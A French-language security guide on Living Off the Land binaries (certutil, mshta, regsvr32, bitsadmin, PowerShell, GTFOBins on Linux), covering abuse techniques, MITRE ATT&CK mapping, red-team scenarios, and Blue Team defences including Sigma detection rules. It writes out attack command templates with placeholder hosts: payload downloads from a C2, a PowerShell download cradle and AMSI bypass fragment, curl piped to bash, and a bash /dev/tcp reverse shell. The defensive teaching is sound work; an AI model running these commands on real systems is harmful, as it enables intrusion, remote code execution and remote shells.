LOLBAS 2026 : Living Off the Land Binaries, Scripts et Libraries

Les attaquants modernes n'ont plus besoin d'introduire des outils suspects sur un système cible : ils utilisent ce qui s'y trouve déjà. Cette approche, connue sous le nom de « Living Off the Land » (LoTL), consiste à détourner des binaires, scripts et librairies préinstallés dans Windows ou Linux pour exécuter des charges utiles, télécharger des fichiers malveillants, contourner AppLocker ou bypasser les solutions EDR les plus avancées. Selon Microsoft Threat Intelligence, plus de 60 % des attaques ciblées récentes exploitent au moins un binaire légitime du système d'exploitation à une phase ou une autre de la kill chain. La base de données LOLBAS (lolbas-project.github.io) référence aujourd'hui plus de 150 binaires Windows documentés. Dans ce guide complet, Ayi NEDJIMI vous présente les techniques, les binaires emblématiques, le mapping MITRE ATT&CK, des exemples concrets de red team, les équivalents Linux, et surtout les règles de détection Blue Team pour reprendre le contrôle de votre supervision.

Qu'est-ce que le Living Off the Land ? Définition et philosophie attaquante

Le concept de Living Off the Land (LoTL) désigne une stratégie offensive qui consiste à utiliser exclusivement — ou presque — des outils natifs du système d'exploitation pour accomplir des objectifs malveillants. L'expression est empruntée à la survie en milieu naturel : vivre de ce que la terre offre, sans apporter ses propres provisions. En cybersécurité, cela se traduit par l'utilisation de certutil.exe, powershell.exe, wmic.exe ou encore mshta.exe pour télécharger une charge utile, exécuter du code arbitraire, établir une persistance ou exfiltrer des données.

L'avantage principal pour un attaquant est l'évasion. Un binaire signé par Microsoft et présent dans C:\Windows\System32\ éveille naturellement moins de soupçons qu'un exécutable inconnu déposé dans C:\Users\Public\. De nombreuses solutions antivirus et EDR de première génération se basaient — et certaines se basent encore — sur des signatures statiques et des listes noires. Un binaire légitime n'est par définition pas sur la liste noire. Résultat : l'attaquant bénéficie d'un « laissez-passer » implicite.

Second avantage : la réduction de l'empreinte. Chaque outil qu'un attaquant télécharge ou dépose sur un système crée une opportunité de détection — artefact disque, hash connu, connexion réseau suspecte. En se limitant aux binaires déjà présents, l'attaquant réduit drastiquement le nombre d'indicateurs de compromission (IOC) exploitables par les défenseurs. Troisième avantage : la légitimité contextuelle. Quand un analyste SOC voit certutil.exe tourner sur un poste administrateur, il ne déclenche pas nécessairement une alerte, car certutil est utilisé quotidiennement pour gérer les certificats dans les environnements Windows. Cette ambiguïté est précisément ce que les attaquants exploitent. Comprendre la logique LoTL est donc indispensable pour tout pentest offensif ou toute mission de threat hunting.

La base de données LOLBAS : cartographie des 150+ binaires référencés

Le projet LOLBAS est une initiative communautaire open source qui documente systématiquement chaque binaire, script ou librairie Windows pouvant être abusé à des fins offensives. Chaque entrée est structurée autour de plusieurs métadonnées : le nom du binaire, sa description légitime, les fonctions abusables (Execute, Download, Copy, Decode, Encode, Compile, Recon, Dump, AWL Bypass), les exemples de commandes d'abus, les détections connues et les références MITRE ATT&CK.

Les catégories fonctionnelles permettent de comprendre rapidement quel binaire utiliser à quelle phase d'une attaque :

• Execute : exécuter du code arbitraire (ex. mshta.exe, rundll32.exe)
• Download : télécharger des fichiers depuis Internet (ex. certutil.exe, bitsadmin.exe)
• AWL Bypass : contourner Application Whitelisting (ex. regsvr32.exe, installutil.exe)
• Copy : copier des fichiers vers des emplacements inhabituels
• Decode / Encode : transformer des payloads obfusqués
• Compile : compiler du code à la volée (ex. csc.exe, msbuild.exe)
• Recon : reconnaissance réseau ou système
• Dump : extraction de données sensibles (mémoire, credentials)

Selon les statistiques du projet, les catégories Execute et AWL Bypass représentent à elles seules plus de 40 % des abus documentés. La catégorie Download est la deuxième plus exploitée, notamment dans les phases initiales d'infection. Il est essentiel pour toute équipe Blue Team de disposer d'une cartographie à jour de ces binaires, en les croisant avec les processus effectivement présents et actifs dans leur environnement. Les organisations qui réalisent régulièrement des exercices de pentest connaissent bien ces vecteurs, mais la majorité des entreprises n'en prennent conscience qu'après un incident.

Binaires emblématiques — Partie 1 : certutil, mshta, regsvr32, wmic, bitsadmin

certutil.exe

certutil.exe est l'outil en ligne de commande de Windows dédié à la gestion des certificats numériques. Il est signé par Microsoft, présent dans toutes les versions de Windows depuis XP, et fait partie du système de confiance intrinsèque de l'OS. Son abus le plus courant : le téléchargement de fichiers depuis une URL distante via la commande certutil -urlcache -split -f https://[serveur]/payload.exe C:\Windows\Temp\p.exe. Cette fonction, initialement prévue pour mettre en cache des certificats depuis des CRL ou des serveurs OCSP, permet en réalité de télécharger n'importe quel fichier. Certutil permet également l'encodage et le décodage base64 (certutil -encode / certutil -decode), ce qui en fait un outil d'obfuscation de payloads très apprécié des attaquants pour contourner les filtres réseau qui inspectent les transferts binaires. Depuis 2018, de nombreux EDR détectent les invocations de certutil avec des URL HTTP/HTTPS. En réponse, les attaquants utilisent des variantes comme le protocole file:// ou des encodages intermédiaires. En 2026, certutil reste l'un des vecteurs de download les plus observés dans les incidents d'intrusion initiale, notamment dans les campagnes ransomware ciblant les PME et les collectivités locales. La raison est simple : même dans des environnements dotés d'un EDR, certutil peut être exécuté dans des contextes où les règles comportementales ne sont pas encore déployées ou ont été mal configurées.

mshta.exe

mshta.exe (Microsoft HTML Application Host) est le moteur d'exécution des fichiers HTA (HTML Application). Il est capable d'exécuter du VBScript et du JavaScript embarqués dans un fichier HTA, mais aussi de charger du contenu depuis une URL distante. La commande mshta.exe http://[c2]/payload.hta télécharge et exécute immédiatement le contenu HTA sans aucun fichier intermédiaire sur le disque. Cela en fait un vecteur de fileless execution particulièrement redoutable. mshta est souvent utilisé dans des campagnes de phishing via des liens OLE dans des documents Office, ou comme deuxième étape après une macro malveillante. La technique est mappée sur MITRE ATT&CK T1218.005. En 2025 et 2026, des groupes APT comme APT41 et Lazarus ont été documentés utilisant mshta dans leurs chaînes d'infection initiale. La désactivation de mshta dans les environnements où les fichiers HTA ne sont pas utilisés est une mesure de durcissement immédiatement applicable.

regsvr32.exe

regsvr32.exe est l'outil d'enregistrement de DLL COM. La technique « Squiblydoo » consiste à utiliser la commande regsvr32.exe /s /n /u /i:[URL] scrobj.dll pour télécharger et exécuter un scriptlet COM depuis une URL distante. Cette technique contourne AppLocker car regsvr32 est un binaire signé Microsoft exempté des politiques de whitelisting par défaut. Elle est également proxy-aware, utilisant automatiquement les paramètres proxy du système. Documentée initialement par Casey Smith en 2016, cette technique reste exploitable dans de nombreux environnements d'entreprise en 2026 car les organisations oublient de restreindre explicitement regsvr32 dans leurs politiques WDAC (Windows Defender Application Control). La combinaison de regsvr32 avec des scriptlets hébergés sur des CDN légitimes (GitHub Gist, Pastebin) complique encore la détection réseau, car le trafic transite vers des domaines de haute réputation.

wmic.exe

wmic.exe (Windows Management Instrumentation Command-line) est l'interface CLI de WMI. Il permet l'exécution de commandes locales et distantes (wmic /node:[IP] process call create "cmd.exe /c [commande]"), la reconnaissance système (wmic os get, wmic process list), et même l'instanciation de classes WMI persistantes. WMI est un vecteur de mouvement latéral massif car il utilise des protocoles réseau légitimes (DCOM/RPC sur le port 135). Microsoft a commencé à désactiver wmic.exe par défaut dans Windows 11 22H2, mais des millions de systèmes Windows 10 et Server 2019/2022 le maintiennent actif. La persistance via WMI Event Subscription (abonnements à des événements WMI) est une technique particulièrement sournoise car elle ne laisse aucune trace dans le registre Run ni dans les tâches planifiées classiques, et survit aux redémarrages.

bitsadmin.exe

bitsadmin.exe est l'outil de gestion du service BITS (Background Intelligent Transfer Service), conçu pour les téléchargements et mises à jour en arrière-plan. La commande bitsadmin /transfer [nom] [URL] [destination] télécharge silencieusement un fichier, avec une priorité basse pour ne pas perturber la bande passante. BITS persiste entre les redémarrages et peut être configuré pour exécuter une commande à la fin du téléchargement (bitsadmin /SetNotifyCmdLine), ce qui en fait un mécanisme de persistance discret. Cette fonctionnalité est directement mappée sur T1197 (BITS Jobs) dans le framework MITRE ATT&CK. En pratique, un attaquant peut créer un job BITS qui télécharge un agent C2 et l'exécute automatiquement à chaque redémarrage, sans aucune entrée visible dans les outils de gestion du démarrage classiques. Les solutions de supervision qui n'ingèrent pas les logs spécifiques au service BITS (Microsoft-Windows-Bits-Client/Operational) passent entièrement à côté de cette technique.

Binaires emblématiques — Partie 2 : rundll32, msiexec, forfiles, installutil, odbcconf, PowerShell, wscript/cscript

rundll32.exe

rundll32.exe est l'hôte d'exécution des DLL Windows. Il permet d'appeler une fonction exportée d'une DLL quelconque via la syntaxe rundll32.exe [DLL],[Fonction] [args]. Les attaquants l'utilisent pour exécuter des DLL malveillantes de manière transparente, puisque rundll32 apparaît dans la liste des processus comme un binaire légitime. Une technique populaire consiste à appeler rundll32.exe javascript:"\..\mshtml,RunHTMLApplication [code]" pour exécuter du JavaScript inline. rundll32 peut aussi charger des DLL depuis des chemins UNC (\\serveur\partage\payload.dll), ce qui permet une exécution sans écriture sur le disque local (T1218.011). Les attaquants utilisent fréquemment rundll32 pour charger des DLL Cobalt Strike ou Metasploit en mémoire, contournant les analyses statiques des solutions antivirus.

msiexec.exe

msiexec.exe installe des packages MSI. La commande msiexec /q /i http://[c2]/payload.msi télécharge et installe silencieusement un MSI depuis une URL, avec exécution de code intégré dans le package (custom actions). Comme msiexec est un processus système de confiance, le trafic réseau généré peut passer sous les radars d'inspection. Des outils comme Advanced Installer permettent de créer des MSI malveillants en quelques minutes. Cette technique est mappée sur T1218.007 et a été utilisée dans plusieurs campagnes de distribution de RAT (Remote Access Trojan) en 2024-2025.

forfiles.exe

forfiles.exe est un utilitaire permettant d'itérer sur des fichiers et d'exécuter une commande pour chacun. La syntaxe forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd.exe /c [payload]" est souvent utilisée pour bypasser des solutions de contrôle qui filtrent l'exécution directe de cmd.exe ou powershell.exe. Comme forfiles est un binaire légitime dans System32, il contourne souvent les règles AppLocker naïves. Cette technique est particulièrement efficace dans des environnements où les politiques de whitelisting ont été mises en place de façon partielle ou sans couvrir explicitement les binaires System32 à risque.

installutil.exe

installutil.exe fait partie du .NET Framework et est utilisé pour installer ou désinstaller des ressources serveur. La technique d'abus (T1218.004) consiste à créer un assemblage .NET contenant une méthode décorée [RunInstaller(true)] avec du code malveillant dans Uninstall(). L'invocation installutil.exe /logfile= /LogToConsole=false /u payload.exe exécute le code sans jamais installer réellement quoi que ce soit, et bypasse AppLocker car installutil est un binaire de confiance .NET. Cette technique est utilisée depuis des années par des opérateurs red team et reste efficace sur des systèmes non durcis avec WDAC.

odbcconf.exe

odbcconf.exe configure les sources de données ODBC. Il supporte un paramètre /a {REGSVR [DLL]} qui invoque implicitement DllRegisterServer sur la DLL spécifiée, permettant l'exécution de code arbitraire d'une DLL malveillante déposée sur le système (T1218.008). Bien que moins connu que certutil ou mshta, odbcconf est utilisé dans des campagnes ciblées car sa surveillance est souvent absente des configurations SIEM et EDR par défaut.

PowerShell

PowerShell est probablement le LOLBIN le plus exploité de l'écosystème Windows. Ses capacités d'abus sont pléthoriques : download cradle (IEX (New-Object Net.WebClient).DownloadString('[URL]')), encoded commands (-EncodedCommand [base64]), bypass de politique d'exécution (-ExecutionPolicy Bypass), AMSI bypass via reflection ([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', ...)), constrained language mode bypass, et bien d'autres. Microsoft a progressivement renforcé PowerShell avec Script Block Logging, AMSI, et Constrained Language Mode, mais des bypasses actifs existent pour chaque mesure. PowerShell est mappé sur de nombreuses techniques ATT&CK, notamment T1059.001. En 2026, les attaquants utilisent massivement PowerShell dans des contextes « fileless » où le script est téléchargé en mémoire et jamais écrit sur le disque, rendant la forensique post-incident particulièrement difficile sans les logs Script Block Logging activés.

wscript.exe et cscript.exe

wscript.exe (Windows Script Host GUI) et cscript.exe (console) permettent l'exécution de scripts VBScript (.vbs) et JScript (.js). Ils sont fréquemment utilisés pour déposer des payloads sur le disque, modifier le registre, ou établir des connexions COM. La commande wscript.exe //E:jscript payload.txt permet même d'exécuter un fichier avec une extension arbitraire comme s'il s'agissait d'un script JScript, contournant les filtres basés sur l'extension. Ces deux binaires sont particulièrement présents dans les vagues de phishing utilisant des fichiers .js ou .vbs joints en pièce attachée ou déposés via des archives ZIP.

Mapping MITRE ATT&CK : techniques et sous-techniques associées

Le framework MITRE ATT&CK fournit une taxonomie précise pour catégoriser les abus de LOLBAS. La tactic principale est Defense Evasion (TA0005), mais les LOLBAS interviennent aussi dans Execution (TA0002), Persistence (TA0003) et Command & Control (TA0011). Voici le mapping des principales techniques :

• T1218 — System Binary Proxy Execution : technique parente regroupant les abus de binaires signés. Sous-techniques : T1218.001 (Compiled HTML), T1218.003 (CMSTP), T1218.004 (InstallUtil), T1218.005 (Mshta), T1218.007 (Msiexec), T1218.008 (Odbcconf), T1218.009 (Regsvcs/Regasm), T1218.010 (Regsvr32), T1218.011 (Rundll32), T1218.012 (Verclsid), T1218.013 (Mavinject).
• T1197 — BITS Jobs : persistance et téléchargement via le service BITS (bitsadmin.exe).
• T1105 — Ingress Tool Transfer : téléchargement d'outils sur le système cible (certutil, bitsadmin, msiexec).
• T1059.001 — PowerShell : exécution de commandes PowerShell malveillantes.
• T1059.005 — Visual Basic : exécution VBScript via wscript/cscript.
• T1059.007 — JavaScript : exécution JScript via wscript/mshta.
• T1220 — XSL Script Processing : exécution XSL via wmic ou msxsl.exe.
• T1047 — Windows Management Instrumentation : abus de WMI pour l'exécution et le mouvement latéral.
• T1548.002 — Bypass User Account Control : élévation de privilèges via des binaires autoElevate comme fodhelper.exe.

Ce mapping est fondamental pour les équipes qui utilisent un SIEM basé sur ATT&CK pour organiser leurs règles de détection. Chaque technique correspond à un ensemble d'indicateurs comportementaux détectables via les logs Windows, Sysmon, ou les télémétries EDR. La couverture ATT&CK d'un SIEM se mesure précisément en vérifiant quelles sous-techniques de T1218 font l'objet de règles actives.

Exemples concrets red team et CTF : persistance, download, UAC bypass

Pour ancrer la théorie dans la pratique, voici des scénarios d'utilisation typiquement rencontrés lors de missions red team ou d'épreuves CTF. Ces exemples illustrent comment enchaîner plusieurs LOLBAS pour former une kill chain complète sans jamais déposer d'outil tiers sur le système.

Scénario 1 : Download et exécution sans outil tiers

L'attaquant a un accès limité à une machine Windows (via une macro Office par exemple) et souhaite déposer un agent C2. Il utilise la chaîne suivante :

1. Téléchargement via certutil : certutil -urlcache -split -f http://[c2]/agent.b64 C:\Windows\Temp\agent.b64
2. Décodage base64 : certutil -decode C:\Windows\Temp\agent.b64 C:\Windows\Temp\agent.exe
3. Exécution directe ou via rundll32 si DLL

L'ensemble de la chaîne n'utilise que des binaires Microsoft signés, présents dans System32. Aucun antivirus signature-based ne détectera ces étapes individuellement.

Scénario 2 : Persistance via BITS

Pour assurer la résilience de l'implant après redémarrage, l'attaquant crée un job BITS persistant. Le job BITS redémarre avec le service BITS à chaque boot et télécharge la charge utile, garantissant la persistance sans clé de registre Run ni tâche planifiée suspecte. La commande bitsadmin /SetNotifyCmdLine permet d'exécuter automatiquement le binaire téléchargé à la fin du transfert. Cette technique a été utilisée dans des campagnes APT documentées, notamment par des groupes affiliés à des États-nations ciblant des infrastructures critiques européennes.

Scénario 3 : UAC Bypass via fodhelper.exe

fodhelper.exe est un binaire Windows pour la gestion des fonctionnalités optionnelles. Il est marqué autoElevate dans son manifeste, ce qui signifie qu'il s'exécute avec des droits élevés sans prompt UAC si l'utilisateur est dans le groupe Administrateurs. L'abus consiste à modifier la clé de registre HKCU\Software\Classes\ms-settings\shell\open\command avant d'exécuter fodhelper, qui utilisera cette association de protocole auto-élevée pour lancer une commande arbitraire avec des droits élevés. Cette technique est documentée sur MITRE sous T1548.002 et fonctionne sur Windows 10/11 en configuration standard. Elle est particulièrement utilisée dans les phases de post-exploitation pour passer d'un accès utilisateur standard à un contexte administrateur sans déclencher l'invite UAC visible.

Scénario 4 : Exécution fileless via PowerShell download cradle

Un download cradle PowerShell télécharge un script depuis un serveur C2 et l'exécute directement en mémoire, sans jamais l'écrire sur le disque. La variante encodée powershell.exe -w hidden -enc [base64] masque la commande dans les journaux de processus basiques. Sans Script Block Logging activé, cette technique est pratiquement invisible. En combinant un AMSI bypass préalable et un download cradle, un attaquant peut exécuter n'importe quelle charge utile .NET en mémoire sans laisser d'artefact disque exploitable en forensique.

LOLBINS Linux : les équivalents sous Unix

Le concept LoTL ne se limite pas à Windows. Sous Linux, de nombreux binaires natifs peuvent être détournés pour des activités offensives. Le projet GTFOBins — l'équivalent Linux de LOLBAS — documente plus de 200 binaires Unix exploitables pour l'évasion de shell restreint, l'élévation de privilèges, la création de reverse shells et le transfert de fichiers.

Les cas d'usage les plus fréquents en red team Linux :

• wget / curl : téléchargement de fichiers distants, exfiltration de données. curl -s http://[c2]/shell.sh | bash est l'un des one-liners les plus courants dans les compromissions de serveurs web.
• python3 / perl : reverse shell en une ligne sans dépendance externe. Ces interpréteurs sont présents sur pratiquement tous les systèmes Linux modernes.
• nc (netcat) : listener ou client pour reverse/bind shells. Sur les versions sans l'option -e, des alternatives via des FIFO nommés sont utilisées pour créer un shell interactif.
• bash -i : bash -i >& /dev/tcp/[IP]/[port] 0>&1 est un reverse shell intégré au shell Bash lui-même, sans aucune dépendance externe. Présent sur tous les systèmes Linux.
• socat : socat permet des tunnels réseau complexes et des reverse shells chiffrés via SSL/TLS, contournant les IDS qui inspectent les connexions en clair.
• find / awk / vim / less : ces binaires peuvent être abusés pour échapper à des environnements restreints (jails, rbash) via des invocations de shell intégrées.
• tar / zip : utilisés pour l'exfiltration de données en une commande, notamment dans des scripts d'exfiltration automatisée post-compromission.

La détection sur Linux repose sur des mécanismes similaires à Windows : audit des processus parents, surveillance des connexions sortantes depuis des processus inhabituels, et règles auditd pour les appels système suspects (execve, connect depuis des interpréteurs). Les solutions EDR Linux comme Wazuh ou Falco permettent de créer des règles comportementales comparables aux règles Sysmon Windows. Un exercice de purple team avec des outils comme Bettercap et Ettercap peut aider à valider la couverture de détection réseau associée aux LOLBINS Linux.

Défenses Blue Team : supervision, AppLocker, WDAC et Sysmon

Face à la sophistication des attaques LOLBAS, une défense efficace nécessite une approche multicouche combinant prévention, détection et réponse. Voici les mesures prioritaires que toute équipe Blue Team devrait mettre en œuvre.

1. Monitoring des processus parents anormaux

La plupart des abus LOLBAS créent des chaînes de processus anormales. Un analyste expérimenté sait que wmic.exe ne devrait pas spawner cmd.exe en production, que mshta.exe ne devrait pas être lancé depuis winword.exe, ou que certutil.exe ne devrait pas établir de connexion HTTP sortante. Ces règles de parent-child relationship constituent des heuristiques de détection robustes à intégrer dans son SIEM. Les plateformes comme Wazuh SIEM/XDR permettent de créer ces corrélations comportementales nativement via des règles XML ou des décoders personnalisés.

2. AppLocker et Windows Defender Application Control (WDAC)

AppLocker permet de définir des politiques de liste blanche pour les exécutables, les scripts, les installateurs et les DLL. Pour contrer les LOLBAS, il faut aller au-delà des règles par défaut et explicitement bloquer ou restreindre les binaires à risque comme regsvr32.exe, mshta.exe, wscript.exe, cscript.exe et installutil.exe pour les utilisateurs standards. WDAC (successor d'AppLocker) offre un contrôle plus granulaire au niveau kernel et est recommandé pour les environnements sensibles. Il supporte les politiques en mode audit avant déploiement en blocage, permettant de mesurer l'impact opérationnel avant de passer en mode enforced.

3. Audit des lignes de commande avec Sysmon

Sysmon (System Monitor de Sysinternals) est indispensable pour la détection LOLBAS. L'Event ID 1 (Process Create) capture la ligne de commande complète, le hash du processus, et le processus parent. L'Event ID 3 (Network Connection) capture les connexions réseau initiées par des processus. En corrélant ces deux events, on peut détecter certutil.exe établissant une connexion sortante (anormal) ou mshta.exe lancé depuis un parent Word/Excel. Il est recommandé d'activer également l'Event ID 7 (Image Loaded) pour détecter les DLL chargées par rundll32 ou regsvr32 depuis des chemins suspects, et l'Event ID 8 (CreateRemoteThread) pour les injections de code.

4. Désactivation des services inutiles

Si votre organisation n'utilise pas WMI à distance, désactivez ou restreignez WMI Remote via les GPO. Si BITS n'est pas nécessaire pour les mises à jour, restreignez son accès réseau sortant. Si les fichiers HTA ne sont jamais utilisés, désassociez l'extension .hta de mshta.exe. Chaque binaire désactivé ou restreint réduit la surface d'attaque LOLBAS. Cette approche de « minimisation de la surface d'attaque » est alignée avec les recommandations du CIS Benchmarks pour Windows Server et Windows 10/11.

5. Alertes spécifiques pour les binaires à haut risque

Configurez des alertes prioritaires dans votre SIEM pour les événements suivants :

• certutil.exe avec arguments contenant urlcache ou -f associé à une URL
• mshta.exe avec un argument URL ou chemin UNC
• regsvr32.exe avec l'argument /i: suivi d'une URL
• powershell.exe avec -EncodedCommand, -enc, ou DownloadString
• wmic.exe avec des arguments process call create
• bitsadmin.exe avec des arguments /transfer ou /SetNotifyCmdLine
• installutil.exe ou odbcconf.exe lancés depuis un compte non système

Ces alertes génèrent peu de faux positifs en environnement d'entreprise standard et couvrent les vecteurs d'attaque les plus fréquemment observés dans les incidents réels.

Règles Sigma : détection opérationnelle des principaux LOLBAS

Sigma est un format de règle de détection générique, convertible vers la plupart des SIEM (Splunk, Elastic, QRadar, Microsoft Sentinel, etc.) via des compilateurs comme pySigma ou sigmac. Ces règles permettent de partager des détections entre équipes et de les maintenir dans un dépôt versionné. Voici des exemples de règles Sigma pour les LOLBAS les plus critiques.

Règle 1 : certutil téléchargement via URL

title: Certutil Download via URL
status: stable
description: Detects certutil used to download files from a remote URL
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - 'urlcache'
    condition: selection
falsepositives:
    - Legitimate certificate management using certutil
level: high
tags:
    - attack.defense_evasion
    - attack.t1105
    - attack.t1218

Règle 2 : mshta exécution depuis un parent Office

title: Mshta Spawned by Office Application
status: stable
description: Detects mshta.exe launched by a Microsoft Office application
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\mshta.exe'
        ParentImage|endswith:
            - '\winword.exe'
            - '\excel.exe'
            - '\powerpnt.exe'
            - '\outlook.exe'
    condition: selection
falsepositives:
    - Unlikely in standard environments
level: critical
tags:
    - attack.execution
    - attack.t1218.005

Règle 3 : regsvr32 Squiblydoo

title: Regsvr32 Squiblydoo - Remote Scriptlet Execution
status: stable
description: Detects regsvr32 used to execute remote scriptlets (Squiblydoo technique)
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains:
            - '/i:http'
            - '/i:ftp'
            - '/i:\\\\'
    condition: selection
falsepositives:
    - None expected
level: critical
tags:
    - attack.defense_evasion
    - attack.t1218.010

Règle 4 : wmic spawning processus suspect

title: WMIC Spawning Suspicious Process
status: stable
description: Detects wmic.exe spawning cmd.exe or powershell.exe
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\wmic.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\mshta.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    condition: selection
falsepositives:
    - Rare legitimate administrative use
level: high
tags:
    - attack.execution
    - attack.t1047

Règle 5 : PowerShell encodé ou download cradle

title: PowerShell Encoded Command or Download Cradle
status: stable
description: Detects PowerShell executing encoded commands or downloading content from remote URLs
logsource:
    category: process_creation
    product: windows
detection:
    selection_encoded:
        Image|endswith: '\powershell.exe'
        CommandLine|contains:
            - '-EncodedCommand'
            - ' -enc '
            - ' -ec '
    selection_download:
        Image|endswith: '\powershell.exe'
        CommandLine|contains:
            - 'DownloadString'
            - 'DownloadFile'
            - 'IEX'
            - 'Invoke-Expression'
    condition: selection_encoded or selection_download
falsepositives:
    - Legitimate administrative scripts using PowerShell remoting
level: medium
tags:
    - attack.execution
    - attack.t1059.001

Intégration SOC : superviser les LOLBAS avec un SIEM en production

La détection des LOLBAS en environnement SOC nécessite une architecture de collecte et de corrélation adaptée. Voici les recommandations opérationnelles pour une intégration réussie dans un SOC de taille moyenne à grande.

Sources de logs indispensables

Pour détecter efficacement les LOLBAS, le SIEM doit ingérer : les logs Sysmon (Event ID 1, 3, 7, 8, 11), les logs Windows Security (Event ID 4688 avec logging des lignes de commande activé via GPO), les logs PowerShell (Script Block Logging, Module Logging, Transcription), les logs DNS pour détecter les résolutions vers des domaines C2 initiées par des processus légitimes, et les logs proxy/firewall pour corréler les connexions réseau avec les processus sources. Sans ces sources, la majorité des techniques LOLBAS restent invisibles dans les SIEM qui ne collectent que les logs Windows Security de base.

Corrélations comportementales prioritaires

Au-delà des règles unitaires sur chaque binaire, les corrélations temporelles apportent une valeur ajoutée significative. Par exemple, la séquence mshta.exe → connexion réseau sortante → création d'un fichier dans %TEMP% → exécution de ce fichier constitue un pattern de téléchargement-exécution quasi certain. De même, la séquence accès lecteur de messagerie → wscript.exe → powershell.exe avec encoded command est fortement indicatrice d'une macro malveillante. Ces corrélations multi-events constituent le cœur du travail d'un exercice de pentest défensif ou d'un exercice de purple team.

Tuning et gestion des faux positifs

L'un des défis majeurs de la détection LOLBAS est la gestion des faux positifs. certutil est légitimement utilisé par les équipes PKI pour la gestion des certificats. PowerShell est omniprésent dans les scripts d'administration. bitsadmin est utilisé par Windows Update. La clé est le contexte : heure d'exécution (heures ouvrées vs. nuit), compte utilisateur (admin vs. utilisateur standard), machine source (poste développeur vs. station utilisateur standard), et destinations réseau (domaines connus vs. IPs brutes non catégorisées). Pour affiner les règles, il est utile d'utiliser des outils comme Bettercap et Ettercap lors d'exercices red team internes pour générer des données réelles et calibrer les seuils de détection.

Enrichissement et threat intelligence

Les IOC LOLBAS évoluent rapidement : nouvelles techniques de bypass AMSI, nouvelles DLL abusables, nouvelles variantes d'encodage. Le SOC doit maintenir une veille active sur les publications de la communauté (Sigma HQ, LOLBAS project, MITRE ATT&CK updates) et intégrer les nouvelles règles régulièrement. L'ajout de renseignements sur les menaces (threat intelligence) comme les hash de payloads connus, les domaines C2 identifiés et les patterns de nommage de fichiers temporaires enrichit considérablement la détection comportementale pure. Des plateformes de threat intel open source comme MISP peuvent être intégrées directement dans le SIEM pour automatiser l'enrichissement des alertes avec des contextes de campagnes connues utilisant des techniques LOLBAS.

Métriques de couverture ATT&CK

Pour mesurer l'efficacité de la couverture SIEM sur les LOLBAS, le SOC doit régulièrement évaluer le pourcentage de sous-techniques T1218 couvertes par des règles actives. Un tableau de bord ATT&CK Navigator visuellement représentatif permet d'identifier les angles morts et de prioriser les efforts de détection. L'objectif minimal recommandé est de couvrir les 5 LOLBAS les plus observés en production (PowerShell, certutil, mshta, wmic, bitsadmin) avec au moins une règle de détection active et testée.

Questions fréquentes sur LOLBAS